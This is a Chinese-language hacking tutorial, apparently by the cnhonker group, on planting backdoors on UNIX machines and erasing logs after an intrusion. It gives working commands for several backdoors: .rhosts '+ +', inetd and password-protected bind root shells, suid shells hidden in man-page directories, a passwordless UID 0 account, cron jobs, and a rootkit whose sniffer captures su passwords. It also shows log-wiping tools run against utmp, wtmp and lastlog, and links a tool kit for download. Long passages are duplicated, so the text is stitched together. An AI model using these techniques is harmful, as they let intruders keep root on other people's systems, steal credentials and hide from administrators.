    我提供的压缩包door.zip里有一个ekobackdoor-v1.1.tar，为linux下的bindshell程序包．大家可以自己编译一下．

    方法为，

修改ekobdoor.c

查找

#define PASSWORD "ekorulez"

把"ekorulez" 改成你要的密码.

比如

#define PASSWORD "cnhonker"

把ekobackdoor-v1.1.tar解压然后make

就可以了.

具体使用方法为:

# ./ekobdoor [opcion] [argumento]

下面为不用输入密码的

# ./ekobdoor -b 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

#

下面为需要输入密码的.

# ./ekobdoor -s 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

cnhonker --->输入密码.

#

这里的31337你可以改成你想要的端口.

当然它还有更多其他功能.具体你用 -h 查看

#./ekobdoor -h

5.suid shell

    在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。

#cp /bin/ksh /tmp/.sh

#chown root:root /tmp/.sh

#chmod +s /tmp/.sh

当你运行/tmp/.sh时，

这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行，具体看各个主机的情况而定．一般我们使用ksh．我们使用的溢出程序用来获得root权限的，也一般是溢出后执行/bin/ksh．

$id

uid=1002(oracle) gid=1(other)

$/tmp/.sh

#

#id

uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)

我们又是root了．

当然，为了更加隐蔽，我们不能把suid shell 放在/tmp

因为它是很容易被发现的．

我们应该放在深层的目录里面．

比如：

/usr/X11/include/X11/

或者

/usr/lib/

等等

通常我做的是：

# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...

# cp /bin/ksh /usr/lib/lib/.../lib

# chown root:sys /usr/lib/lib/.../lib

# chmod 4555 /usr/lib/lib/.../lib

# touch -r /bin/ksh /usr/lib/lib/.../lib

一个简单的suid shell安放好了．

不过，大家不要学我，我们要放在最隐蔽的地方．我新建目录的隐藏效果不是最好的．

我们必须利用现有的目录来安放，并且这个目录要有很多其它的文件做掩护．

大家不防试试/usr/man/下的目录．

很少管理员会检查这里的．

比如：

/usr/man/man1/

/usr/man/manl/

等．

比如：

# cp /bin/ksh /usr/man/man1/ja.1

：）当然具体要看你自己琢磨一下了．我敢说不难，最好多放置几个suid shell 在不同的目录．这样即使管理员发现了一个，也还有另外一个．：）

6.su 后门

    在流行的rootkit包里，一般都有su 后门程序，当你在目标机器上安装了以后，只要你有普通用户的访问权限，就可以用su的后门密码su成你想要的用户．：）

例如在装过su后门的机器上运行：

$id

uid=1002(oracle) gid=1(other)

$su root

passwd:cnhonker ->su后门密码．

#

#id

uid=0(root) gid=0(root)

成功su成root.而不管root的密码为什么密码．

另外还有一种是su 木马，用来骗取su 密码的．这里不在详述．

7.修改密码文件

    最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。

下面的操作增加一个不用密码的www用户，uid gid 都为0，还有最好先备份一下密码文件．

#cp /etc/passwd /tmp/passwd

#cp /etc/shadow /tmp/shadow

#echo 'www:x:0:0::/:/bin/sh' >> /etc/passwd

#echo 'www::::::::' >> /etc/shadow

# id uid=1002(gao) gid=1(other) euid=0(root) egid=0(root)

# su www

# id

uid=0(root) gid=0(root)

可以看到，su成www时将不用输入密码，同样，telnet 等也不用出示密码．

但这种方法很容易被发现，通常我们编辑密码文件修改里面没有使用的默认帐号．

8.Crontab 后门

根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

(1) (2) (3) (4) (5) (6)

0 0 * * 3 /usr/bin/updatedb

以上内容设置/usr/bin/updatedb程序于每星期三 0:0 运行。

其中：

1. 分钟 (0-60)

2. 小时 (0-23)

3. 日 (1-31)

4. 月 (1-12)

5. 星期 (1-7)

6. 所要运行的程序

我们只需在 /var/spool/crontab/root 中添加我们的后门程序即可。

比如运行一个产生一个高位port的bind root shell的程序．或者替换服务进程的程序．

9.rootkit后门包

这也是最常用有效实用的方法．

这里我提供一个我修改过的编译好的sun os sparc下的rootkit包，在HUCkit.zip里的sun.tar

使用方法为：

在取得sun os sparc 的root权限后

#tar -xf sun.tar

#cd sun

#./setup cnhonker

就可以了．

其中，

cnhonker为你要设的rootkit密码．

如果你只运行./setup

那么程序会随机为你生成一个密码．请记住它．它可是你的通行证哦．

还有我取消了login后门的安装，因为它很容易暴露自己．并且很容易出错．

还有，完全装好后，不要忘了去/dev/prom

用cat查看每一个文件哦．

：）

哪里是嗅探器存放结果的地方．包括 mail ftp telnet rlogin su 等等．

# cat /dev/prom/sn.l

为mail ftp telnet rlogin等的记录

# cat /dev/prom/sulog

为su的密码记录．没有必要花时间去破解shadow文件哦．：）

其它的rootkit包大家引擎搜索一下就可以找到很多．这里不再提供．

二．日志的清除

由于涉及的系统广泛的问题，不可能将所有unix类系统的日志说清楚，但它们大多是差不多的，下面我只用常见的sunos & redhat做介绍．其它的系统请查看相关资料．

unix系统日志文件通常是存放在"/var/log　and /var/adm"目录下的。通常我们可以查看syslog.conf来看看日志配置的情况．如：cat /etc/syslog.conf

其中sunos的在/var/log　和 /var/adm下．还有/usr/adm为/var/adm的的链接．

redhat的在/var/log 和 /var/run下．

下面的是sun os5.7中的日志样本．

# ls /var/adm

acct 　　　log 　　　　 messages.1 　　　passwd 　　　sulog　　 vold.log

aculog　　 messages 　　messages.2　　　 sa 　　　　　utmp 　 　wtmp

lastlog 　 messages.0 　messages.3 　　　spellhist 　 utmpx　　 wtmpx

# ls /var/log

authlog　　　　　 syslog 　　　syslog.1 　　syslog.3

sysidconfig.log 　syslog.0　　 syslog.2 　　syslog.4

下面的是redhat6.2中的日志样本．

# ls /var/log

boot.log 　　dmesg 　　　　　　messages.2 　　　secure 　　　　uucp

boot.log.1 　htmlaccess.log　　messages.3 　　　secure.1 　　　wtmp

boot.log.2 　httpd 　　　　　　messages.4　　 　secure.2 　　　wtmp.1

boot.log.3 　lastlog 　　　　　netconf.log　　　secure.3 　　　xferlog

boot.log.4 　mailllog 　　　　 netconf.log.1　　secure.4 　　　xferlog.1

cron 　　　　maillog 　　　　　netconf.log.2　　sendmail.st 　 xferlog.2

cron.1　　　 maillog.1 　　　　netconf.log.3　　spooler 　　　 xferlog.3

cron.2　　　 maillog.2 　　　　netconf.log.4　　spooler.1 　　 xferlog.4

cron.3　　　 maillog.3 　　　　news 　　　　　　spooler.2

cron.4　　　 maillog.4 　　　　normal.log 　　　spooler.3

daily.log 　 messages　　　　　realtime.log　 　spooler.4

daily.sh 　　messages.1 　　　 samba 　　　　 　transfer.log

# ls /var/run

atd.pid　　 　gpm.pid 　　　klogd.pid 　　random-seed 　　 treemenu.cache

crond.pid 　　identd.pid 　 netreport 　　runlevel.dir 　　utmp

ftp.pids-all　inetd.pid 　　news 　　　　 syslogd.pid

一般我们要清除的日志有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog

sulog

此外，各种shell还会记录用户使用的命令历史，它使用用户主目录下的文件来记录这些命令历史，通常这个文件的名字为.sh_history(ksh)，.history(csh)，或.bash_history(bash)等。

一般把以上说的日志给擦一下，就可以了．：）

下面我来说说上面这些我们要清除的日志的相关资料和清除方法．更详细的资料和其他的日志请你查看相关资料．

首先我们说说这几种日志的功能．－＞它记录的是什么？

lastlog

lastlog记录每个用户的最近一次的登陆时间和每个用户的最初目的地．

当一个用户登陆到unix系统时，注册程序在lastlog文件中查找该用户的uid ,如果该程序找到了该用户的uid,unix就会显示最后一次登陆的时间和TTY(终端号)

下面是一个例子：

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsystems Inc. SunOS 5.7 Generic October 1998 $

.然后注册程序用新的登陆时间和TTY信息更新lastlog文件，而且该程序带更新utmp wtmp.文件．

utmp

utmp 日志记录以前登陆到系统中的所有用户．这个文件随着用进入和离开系统而不断的变化．它还会为系统中的用户保持很长的历史记录，utmp日志通常存储在/etc/utmp，可以使用w 和who 命令查看utmp.但其他的一些命令也可以访问这个文件．：）比如finger users.现在的utmp一般都有一个utmpx文件做为日志记录的补充．别忘了擦这个pp哦．：）

wtmp

wtmp文件记录用户登陆和退出事件，它和utmp类似．但它随着登陆的次数的增加它会变得越来越大．有些系统的ftp访问也在这个文件里记录．同时它也记录正常的系统退出时间．可以使用last和ac命令访问它．

          ------------------　UNIX系统后门的安放和日志的擦除

==========================================

附件：HUCkit.zip

教程所需软件：HUCkit.zip（附件）

http://www.cnhonker.com/HUCkit.zip

一.后门的安放

当我们通过某种手段控制一个主机时，为了使自己能再次光顾这台计算机，我们通常在这个机器上留下后门，以便我们再次访问．一个做得好的后门，即使在入侵被管理员发现后，仍然能让你再次访问到主机．

本文的意旨是让你学会如何在完全控制系统后保留自己的根用户权限，下面介绍一下我常用的制作后门的手法，不会也不可能覆盖到所有可能的方法，请原谅．

1.Rhosts + + 后门

    在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

例如：

# echo '+ + ' > /usr/bin/.rhosts

# cat /usr/bin/.rhosts

+ +

# rlogin -l bin localhost

将不用输入密码直接用bin帐号rlogin登陆进你的机器．

2.Login后门

    在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

一般的rootkit包里都有login后门程序．

3.服务进程后门

    inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：

(1) (2) (3) (4) (5) (6) (7)

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd

login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat

talk dgram udp wait root /usr/sbin/in.talkd in.talkd

1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。

2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。

3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。

4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。

5：第五栏给出运行守护进程的用户名。

6：第六栏给出守护进程的全限定路径名。

7：守护进程的真实名字及其参数。 如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。

当然我们有一个更简单的方法，

下面的操作bind root shell 1524端口．

# echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x

# /usr/sbin/inetd -s /tmp/.x

# rm -f /tmp/.x

# telnet localhost 1524

Trying 127.0.0.1...

Connected to localhost. Escape character is '^]'.

#

# id

ksh: id^M: not found

# id;

uid=1002(gao) gid=1(other) euid=0(root)

ksh: ^M: not found

# exit;

Connection closed by foreign host.

#

注意，这样bind的shell在telnet上去后，你要在你想执行的命令后面添加一个" ; "号．即你要执行id命令的输入应为: id;

当然你也可以把ingreslock换成其他服务．具体请查看/etc/services寻找对应的服务名和端口．

下面为部分/etc/services内容．

# cat /etc/services

#ident "@(#)services 1.20 98/07/08 SMI" /* SVr4.0 1.8 */

#

# Network services, Internet style

#

tcpmux 1/tcp

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp

mail time 37/tcp timserver

time 37/udp timserver

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/udp

domain 53/tcp

bootps 67/udp # BOOTP/DHCP server

bootpc 68/udp # BOOTP/DHCP client

...

...

4.port bind suid Shell 后门

    入侵者可能在任意端口bind suid Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉.

    我提供的压缩包door.zip里有一个ekobackdoor-v1.1.tar，为linux下的bindshell程序包．大家可以自己编译一下．

    方法为，

修改ekobdoor.c

查找

#define PASSWORD "ekorulez"

把"ekorulez" 改成你要的密码.

比如

#define PASSWORD "cnhonker"

把ekobackdoor-v1.1.tar解压然后make

就可以了.

具体使用方法为:

# ./ekobdoor [opcion] [argumento]

下面为不用输入密码的

# ./ekobdoor -b 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

#

下面为需要输入密码的.

# ./ekobdoor -s 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

cnhonker --->输入密码.

#

这里的31337你可以改成你想要的端口.

当然它还有更多其他功能.具体你用 -h 查看

#./ekobdoor -h

5.suid shell

    在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。

#cp /bin/ksh /tmp/.sh

#chown root:root /tmp/.sh

#chmod +s /tmp/.sh

当你运行/tmp/.sh时，

这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行，具体看各个主机的情况而定．一般我们使用ksh．我们使用的溢出程序用来获得root权限的，也一般是溢出后执行/bin/ksh．

$id

uid=1002(oracle) gid=1(other)

$/tmp/.sh

#

#id

uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)

我们又是root了． 当然，为了更加隐蔽，我们不能把suid shell 放在/tmp,因为它是很容易被发现的． 我们应该放在深层的目录里面． 比如：

/usr/X11/include/X11/

或者

/usr/lib/

等等

通常我做的是：

# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...

# cp /bin/ksh /usr/lib/lib/.../lib

# chown root:sys /usr/lib/lib/.../lib

# chmod 4555 /usr/lib/lib/.../lib

# touch -r /bin/ksh /usr/lib/lib/.../lib

一个简单的suid shell安放好了．

不过，大家不要学我，我们要放在最隐蔽的地方．我新建目录的隐藏效果不是最好的． 我们必须利用现有的目录来安放，并且这个目录要有很多其它的文件做掩护． 大家不防试试/usr/man/下的目录． 很少管理员会检查这里的．比如：

/usr/man/man1/

/usr/man/manl/

等．

比如：

# cp /bin/ksh /usr/man/man1/ja.1

：）当然具体要看你自己琢磨一下了．我敢说不难，最好多放置几个suid shell 在不同的目录．这样即使管理员发现了一个，也还有另外一个．：）

6.su 后门

    在流行的rootkit包里，一般都有su 后门程序，当你在目标机器上安装了以后，只要你有普通用户的访问权限，就可以用su的后门密码su成你想要的用户．：）

例如在装过su后门的机器上运行：

$id

uid=1002(oracle) gid=1(other)

$su root

passwd:cnhonker ->su后门密码．

#

#id

uid=0(root) gid=0(root)

成功su成root.而不管root的密码为什么密码．

另外还有一种是su 木马，用来骗取su 密码的．这里不在详述．

7.修改密码文件

    最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。

下面的操作增加一个不用密码的www用户，uid gid 都为0，还有最好先备份一下密码文件．

#cp /etc/passwd /tmp/passwd

#cp /etc/shadow /tmp/shadow

#echo 'www:x:0:0::/:/bin/sh' >> /etc/passwd

#echo 'www::::::::' >> /etc/shadow

# id uid=1002(gao) gid=1(other) euid=0(root) egid=0(root)

# su www

# id

uid=0(root) gid=0(root)

可以看到，su成www时将不用输入密码，同样，telnet 等也不用出示密码．

但这种方法很容易被发现，通常我们编辑密码文件修改里面没有使用的默认帐号．

8.Crontab 后门

根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

(1) (2) (3) (4) (5) (6)

0 0 * * 3 /usr/bin/updatedb

以上内容设置/usr/bin/updatedb程序于每星期三 0:0 运行。

其中：

1. 分钟 (0-60)

2. 小时 (0-23)

3. 日 (1-31)

4. 月 (1-12)

5. 星期 (1-7)

6. 所要运行的程序

我们只需在 /var/spool/crontab/root 中添加我们的后门程序即可。

比如运行一个产生一个高位port的bind root shell的程序．或者替换服务进程的程序．

9.rootkit后门包

这也是最常用有效实用的方法．

这里我提供一个我修改过的编译好的sun os sparc下的rootkit包，在HUCkit.zip里的sun.tar

使用方法为：

在取得sun os sparc 的root权限后

#tar -xf sun.tar

#cd sun

#./setup cnhonker

就可以了．

其中，

cnhonker为你要设的rootkit密码．

如果你只运行./setup

那么程序会随机为你生成一个密码．请记住它．它可是你的通行证哦．

还有我取消了login后门的安装，因为它很容易暴露自己．并且很容易出错．

还有，完全装好后，不要忘了去/dev/prom

用cat查看每一个文件哦．

：）

哪里是嗅探器存放结果的地方．包括 mail ftp telnet rlogin su 等等．

# cat /dev/prom/sn.l

为mail ftp telnet rlogin等的记录

# cat /dev/prom/sulog

为su的密码记录．没有必要花时间去破解shadow文件哦．：）

其它的rootkit包大家引擎搜索一下就可以找到很多．这里不再提供．

二．日志的清除

由于涉及的系统广泛的问题，不可能将所有unix类系统的日志说清楚，但它们大多是差不多的，下面我只用常见的sunos & redhat做介绍．其它的系统请查看相关资料．

unix系统日志文件通常是存放在"/var/log　and /var/adm"目录下的。通常我们可以查看syslog.conf来看看日志配置的情况．如：cat /etc/syslog.conf

其中sunos的在/var/log　和 /var/adm下．还有/usr/adm为/var/adm的的链接．

redhat的在/var/log 和 /var/run下．

下面的是sun os5.7中的日志样本．

# ls /var/adm

acct 　　　log 　　　　 messages.1 　　　passwd 　　　sulog　　 vold.log

aculog　　 messages 　　messages.2　　　 sa 　　　　　utmp 　 　wtmp

lastlog 　 messages.0 　messages.3 　　　spellhist 　 utmpx　　 wtmpx

# ls /var/log

authlog　　　　　 syslog 　　　syslog.1 　　syslog.3

sysidconfig.log 　syslog.0　　 syslog.2 　　syslog.4

下面的是redhat6.2中的日志样本．

# ls /var/log

boot.log 　　dmesg 　　　　　　messages.2 　　　secure 　　　　uucp

boot.log.1 　htmlaccess.log　　messages.3 　　　secure.1 　　　wtmp

boot.log.2 　httpd 　　　　　　messages.4　　 　secure.2 　　　wtmp.1

boot.log.3 　lastlog 　　　　　netconf.log　　　secure.3 　　　xferlog

boot.log.4 　mailllog 　　　　 netconf.log.1　　secure.4 　　　xferlog.1

cron 　　　　maillog 　　　　　netconf.log.2　　sendmail.st 　 xferlog.2

cron.1　　　 maillog.1 　　　　netconf.log.3　　spooler 　　　 xferlog.3

cron.2　　　 maillog.2 　　　　netconf.log.4　　spooler.1 　　 xferlog.4

cron.3　　　 maillog.3 　　　　news 　　　　　　spooler.2

cron.4　　　 maillog.4 　　　　normal.log 　　　spooler.3

daily.log 　 messages　　　　　realtime.log　 　spooler.4

daily.sh 　　messages.1 　　　 samba 　　　　 　transfer.log

# ls /var/run

atd.pid　　 　gpm.pid 　　　klogd.pid 　　random-seed 　　 treemenu.cache

crond.pid 　　identd.pid 　 netreport 　　runlevel.dir 　　utmp

ftp.pids-all　inetd.pid 　　news 　　　　 syslogd.pid

一般我们要清除的日志有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog

sulog

此外，各种shell还会记录用户使用的命令历史，它使用用户主目录下的文件来记录这些命令历史，通常这个文件的名字为.sh_history(ksh)，.history(csh)，或.bash_history(bash)等。

一般把以上说的日志给擦一下，就可以了．：）

下面我来说说上面这些我们要清除的日志的相关资料和清除方法．更详细的资料和其他的日志请你查看相关资料．

首先我们说说这几种日志的功能．－＞它记录的是什么？

lastlog

lastlog记录每个用户的最近一次的登陆时间和每个用户的最初目的地．

当一个用户登陆到unix系统时，注册程序在lastlog文件中查找该用户的uid ,如果该程序找到了该用户的uid,unix就会显示最后一次登陆的时间和TTY(终端号)

下面是一个例子：

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsystems Inc. SunOS 5.7 Generic October 1998 $

.然后注册程序用新的登陆时间和TTY信息更新lastlog文件，而且该程序带更新utmp wtmp.文件．
utmp

utmp 日志记录以前登陆到系统中的所有用户．这个文件随着用进入和离开系统而不断的变化．它还会为系统中的用户保持很长的历史记录，utmp日志通常存储在/etc/utmp，可以使用w 和who 命令查看utmp.但其他的一些命令也可以访问这个文件．：）比如finger users.现在的utmp一般都有一个utmpx文件做为日志记录的补充．别忘了擦这个pp哦．：）

wtmp

wtmp文件记录用户登陆和退出事件，它和utmp类似．但它随着登陆的次数的增加它会变得越来越大．有些系统的ftp访问也在这个文件里记录．同时它也记录正常的系统退出时间．可以使用last和ac命令访问它．

syslog & messages

通过查看/etc/syslog.conf我们可以知道syslog记录些什么．：）

很多各种各样的程序产生的日志都由它记录．

同时它还有一个syslogd进程为它服务．

在缺省时，它把大多的信息传给/var/adm/messages

sulog

sulog为切换用户命令su的使用记录日志．

他通常在/var/adm/sulog

如果你在机器上用过su命令,别忘了清除掉哦．：）

shell记录

.sh_history(ksh)，.history(csh)，或.bash_history(bash)等，是shell执行时的历史记录．记录用户执行的命令．它一般存在于用户的主目录．别忘了去根目录看看哦．我入侵机器时，也经常能发现别人的hacking记录哦．：）所以你一定要记得清除．

1.日志都是一些文本形式的文件．最笨的方法是用文本编辑器来编辑日志文件．删除相关的记录．来达到擦拭脚印和隐藏自己的效果．

比如用vi等

但这样做是很笨的．太麻烦，工作量太大．如果有50台机器要你处理，那么，呵呵．．．．看你忙到什么时候：）

2.以前我刚开始学unix时．经常用rm -f 来删掉日志．比如rm -f /usr/adm/lastlog

呵呵

这样做是很蠢的．

更容易被管理员发现有人入侵．但是，相对来说自己还是保护好了．：）

可以用在一些不太重要的机器上．

3.用 > 定向符清除．

比如：

#cat > /usr/log/lastlog

    －＞这里输入你要的写的东西．最好伪装得像一些，也可以不输入哦．：）

^d　－＞这里的^d是按键 ctrl + d.

#

如果上战场没有带日志清除工具，我一般也用这个清除的．：）省事 ,要不找几个旧的日志覆盖它：）
==========================================================

4.当然最好的是用日志清除工具．

输入几个命令让程序帮你擦：）

a.常见的日志清除工具．

  一般的rootkit包里有的:z2.c 和wted.c

很容易找到．

网上的教程很多都是介绍这两个工具的使用的．

这里我就不再论述了．：）节省时间．

b.这里我提供一个我以前有段时间常用的日志清除脚本．

在HUCkit.zip里的 cleaner.sh

我们这样使用它

# chmod 755 cleaner.sh

# ./cleaner.sh

Log cleaner v0.5b By: Tragedy/Dor *

* Usage: cleaner.sh

# ./cleaner.sh username

其中，username 为你要清除日志的的用户帐号．

：）

比如：

#./cleaner.sh gao

Log cleaner v0.5b By: Tragedy/Dor OS

detection....

Detected SunOS

---<[ Log cleaning in process....

* Cleaning aculog ( 0 lines)...0 lines removed!

* Cleaning lastlog ( 19789 lines)...45 lines removed!

* Cleaning messages ( 12 lines)...1 lines removed!

* Cleaning messages.0 ( 12 lines)...0 lines removed!

* Cleaning messages.1 ( 28 lines)...0 lines removed!

* Cleaning messages.2 ( 38 lines)...0 lines removed!

* Cleaning messages.3 ( 17 lines)...0 lines removed!

* Cleaning spellhist ( 0 lines)...0 lines removed!

* Cleaning sulog ( 986 lines)...6 lines removed!

* Cleaning utmp ( 179 lines)...1 lines removed!

* Cleaning utmpx ( 387 lines)...1 lines removed!

* Cleaning vold.log ( 0 lines)...0 lines removed!

* Cleaning wtmp ( 299 lines)...0 lines removed!

* Cleaning wtmpx ( 565 lines)...0 lines removed!

* Cleaning authlog ( 0 lines)...0 lines removed!

* Cleaning syslog ( 53 lines)...0 lines removed!

* Cleaning syslog.0 ( 14 lines)...0 lines removed!

* Cleaning syslog.1 ( 64 lines)...0 lines removed!

* Cleaning syslog.2 ( 39 lines)...0 lines removed!

* Cleaning syslog.3 ( 5 lines)...0 lines removed!

* Cleaning syslog.4 ( 3 lines)...0 lines removed!

* Cleaning syslog.5 ( 210 lines)...0 lines removed!

#

这个用/bin/sh的脚本有一个问题，

就是必须你要有uid =0 的权限．即root.

euid = 0 会不能正常工作，报告权限不够．

解决方法是：

大家可以改里面的#!/usr/sh 为你设置好的suid shell.：）

这个脚本有一个好处，就是不用编译，并且可以在多个系统下面工作．如redhat sunos等等．

还可以用

cat > clog.sh

来方便的拷贝到主机．不用ftp 去取．：）

还有一个命令可以清除大部分的日志．

这也是我常用它的原因．

但它做的太干净了，把以前的记录也删除了．：（

有时候也会不太干净．比如lastlog.utmp可能有时会清除不了．

所以，现在我一般结合两个工具来清除日志．

好的一般放在后面介绍．：）

下面介绍一个我觉得比较好的另一个日志清除器．：）

在HUCkit.zip里的wipe-1.00.tgz.

他完全可以清除

lastlog

utmp

utmpx

wtmp

wtmpx

：）

下面我们来看看．（示范工作平台sunos 5.7）

# gzip -d wipe-1.00.tgz

# tar -xf wipe-1.00.tar

# cd wipe-1.00

# ls -al

总数32

drwxr-xr-x　 2 　root 　root 　　　　512　　 2月 4 20:48　　 .

drwxrwxrwx 　6 　root 　other　　　 1024　　 2月 4 18:40　　 ..

-rw-r--r-- 　1 　root 　root 　　　　130　　 1997 1月 9　　 INSTALL

-rw-r--r--　 1 　root 　staff　　　 1389　　 1997 1月 9　　 Makefile

-rw-r--r--　 1 　root 　root 　　　　498 　　1997 1月 9 　　README

-rw-r--r--　 1 　root 　staff　　　10027　　 1997 1月 9　　 wipe.c

# make

Wipe v0.01 !

Usage: 'make ' where System types are:

    linux freebsd sunos4 solaris2 ultrix

    aix irix digital bsdi netbsd hpux

#

我们可以看到它需要出示 系统的选项．这些选项是：

    linux freebsd sunos4 solaris2 ultrix

    aix irix digital bsdi netbsd hpux

我们要清除相关的系统日志就必须在相同的系统下编译．

比如我们要在redhat等linux下编译，就应为： make linux

在freebsd下编译就应为：make freebsd

在sunos 4下编译，就应为： make sunos4

在sunos 5以上的系统里编译，就应为：make solaris2

这里我们用make solaris2

sunos 5 以上就叫做solaris了．

# make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

# ls -al

总数94

drwxr-xr-x 　2 　root 　root　　　512　　 2月 4 21:03　　 .

drwxrwxrwx 　6 　root 　other　　1024　　 2月 4 18:40　　 ..

-rw-r--r-- 　1 　root 　root　　　130　　 1997 1月 9 　　INSTALL

-rw-r--r-- 　1 　root 　staff　　1389　　 1997 1月 9 　　Makefile

-rw-r--r-- 　1 　root 　root 　　 498　　 1997 1月 9 　　README

-rwxr-xr-x 　1 　root 　other 　30920　　 2月 4 21:03　　wipe

-rw-r--r-- 　1 　root 　staff 　10027　　 1997 1月 9 　　wipe.c

#./wipe

USAGE: wipe [ uwla ] ...options...

UTMP editing: Erase all usernames : wipe u [username]

    Erase one username on tty: wipe u [username] [tty]

WTMP editing: Erase last entry for user : wipe w [username]

    Erase last entry on tty : wipe w [username] [tty] LASTLOG

editing: Blank lastlog for user : wipe l [username] Alter lastlog

    entry : wipe l [username] [tty] [time] [host]

    Where [time] is in the format [YYMMddhhmm]

ACCT editing: Erase acct entries on tty : wipe a [username] [tty]

大家可以看到编译好的wipe的使用方法．

其中 u 选项为 utmp utmpx 日志擦除．.

w 选项为 wtmp wtmpx 日志擦除．

l 选项为 lastlog 日志擦除．

a 为/var/adm/pacct日志擦除．（一般不用这个．：）

其中[tty]为终端号．为在有多个相同帐号同时登陆时，清除日志的使用选项．当然是要你的终端号哦．：）

大家可以用 w 命令查终端号．

比如:

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名 　　终端号 　　登入时间 　　闲置 　　JCPU 　　PCPU 　　执行命令

gao 　　　pts/1 　　下午 7:40　　　　 　　　3 　　　　　　　　　w

下面的是我在sunos 5.7上的具体的使用情况．：）

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名 　　终端号 　　登入时间 　　闲置 　　JCPU 　　PCPU 　　执行命令

gao 　　　pts/1 　　下午 7:40　　　　 　　　3 　　　　　　　　　w

# ./wipe u gao

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名 　　终端号 　　登入时间 　　闲置 　　JCPU 　　PCPU 　　执行命令

# ./wipe w gao

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

# ./wipe l gao

Patching /var/adm/lastlog .... Done.

好了． lastlog utmp utmpx wtmp wtmpx 擦完了．

大家看到 wipe u gao 了吗？ 为什么我打了个w命令呢？ 呵呵,想想...

所以我们一般在登陆进系统后就运行 wipe u gao.来隐藏自己．：）

当然我们不要忘了shell　记录哦．

# ls -al /.*history

